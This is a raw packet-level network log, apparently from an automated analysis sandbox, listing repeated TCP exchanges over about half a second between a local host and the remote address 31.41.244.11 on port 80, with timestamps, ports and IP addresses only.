Dec 12, 2024 14:27:01.921938896 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.921976089 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.921976089 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.922801971 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.922847986 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.923691034 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.923702955 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.923760891 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.923768044 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.923827887 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.924532890 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.924552917 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.924585104 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.924585104 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.925388098 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.925416946 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.925441027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.925460100 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.926218033 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.926274061 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.926659107 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.926704884 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.927146912 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.927192926 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.927236080 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.927256107 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.927943945 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.928066969 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.928294897 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.928394079 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.928854942 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.928867102 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.928914070 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.928914070 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.929682970 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.929724932 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.930599928 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.930612087 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.930623055 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.930654049 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.930655003 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.931377888 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.931504011 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.932301998 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.932327032 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.932337999 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.932344913 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.932390928 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.932390928 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.933075905 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.933247089 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.933288097 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.933288097 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.933924913 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.933964968 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.933994055 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.934035063 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.934839964 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.934887886 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.935159922 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.935159922 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.935688019 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.935735941 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.936167002 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.936369896 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.936537027 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.936548948 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.936583042 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.936625957 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.937402010 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.937434912 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.937443018 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.937530994 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.938332081 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.938544035 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.938559055 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.938616991 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.939080954 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.939116955 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.939646959 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.939692020 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.939966917 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.940047026 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.092170000 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.092236996 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.092293978 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.092509985 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.092529058 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.092556000 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.092592955 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.092592955 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.093292952 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.093334913 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.093592882 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.093800068 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.093836069 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.093836069 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.094263077 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.094321012 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.094332933 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.094378948 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.094933987 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.094993114 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.095014095 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.095241070 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.095607996 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.095657110 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.096004009 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.096071005 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.096468925 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.096817970 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.096960068 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.097112894 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.097321033 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.097373009 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.097594976 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.097594976 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.098206997 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.098261118 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.098288059 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.098320961 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.099042892 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.099119902 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.099159002 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.099205017 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.099900961 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.099941015 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.099962950 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.100029945 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.100771904 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.101070881 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.101428032 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.101524115 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.101608992 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.101689100 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.101960897 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.102118969 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.102479935 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.102601051 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.102606058 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.102668047 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.103467941 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.103487968 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.103529930 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.103529930 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.104356050 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.104456902 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.104593992 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.105057001 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.105077982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.105093956 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.105201006 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.105379105 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.105931044 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.105943918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.105963945 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.105999947 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.106812000 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.107335091 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.107459068 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.107726097 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.107738018 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.107743979 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.107800007 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.107800007 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.108485937 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.108531952 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.109143972 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.109193087 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.109354973 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.109368086 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.109513998 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.109513998 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.110193968 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.110234976 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.110392094 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.110548973 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.111046076 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.111248016 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.111318111 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.111387968 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.111984968 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.112044096 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.112133980 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.112181902 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.112811089 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.112917900 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.113584995 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.113648891 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.113660097 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.113670111 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.113713980 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.113713980 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.114562035 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.114600897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.114689112 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.114723921 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.115359068 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.115384102 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.115408897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.115447044 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.116188049 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.116276026 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.116292953 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.116368055 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.117101908 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.117161989 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.117204905 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.117204905 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.117938042 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.118078947 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.118103027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.118118048 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.118823051 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.118935108 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.118974924 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.118974924 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.119635105 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.119715929 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.120132923 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.120208979 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.120548010 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.120559931 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.120606899 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.120606899 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.121445894 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.121459961 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.121505022 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.121505022 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.122241974 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.122256994 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.122282028 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.122293949 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.123087883 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.123100996 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.123135090 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.123135090 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.123920918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.123944998 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.123965979 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.124716997 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.124783993 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.124876022 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.125065088 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.125176907 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.125652075 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.125768900 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.125817060 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.125818014 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.126552105 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.126671076 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.126751900 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.126935005 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.127398968 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.127410889 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.127441883 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.127482891 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.128220081 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.128405094 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.128771067 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.128818989 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.129074097 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.129120111 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.129436970 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.129483938 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.130074978 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.130086899 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.130131960 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.130131960 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.130808115 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.131012917 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.131675959 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.131690025 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.131717920 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.131728888 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.131768942 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.131768942 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.132479906 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.132529974 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.132972002 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.133065939 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.133507013 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.133580923 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.133639097 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.133639097 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.134404898 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.134499073 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.134587049 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.134587049 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.135379076 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.135490894 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.136305094 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.136321068 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.136333942 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.136358976 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.136375904 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.284080982 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.284198999 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.284219980 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.284240007 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.284446955 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.284492970 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.284513950 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.284687996 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.284997940 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.285083055 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.285222054 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.285264969 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.285825968 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.285947084 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.285949945 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.286025047 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.286555052 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.286586046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.286621094 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.286621094 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.287281990 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.287342072 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.287375927 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.287412882 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.288326025 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.288381100 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.288542032 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.288688898 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.289067030 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.289079905 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.289113045 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.289335012 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.289916992 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.289930105 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.289987087 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.290745974 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.290757895 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.290791035 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.291332006 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.291766882 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.291780949 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.292490005 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.292494059 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.292494059 CET	49878	80	192.168.2.4	31.41.244.11
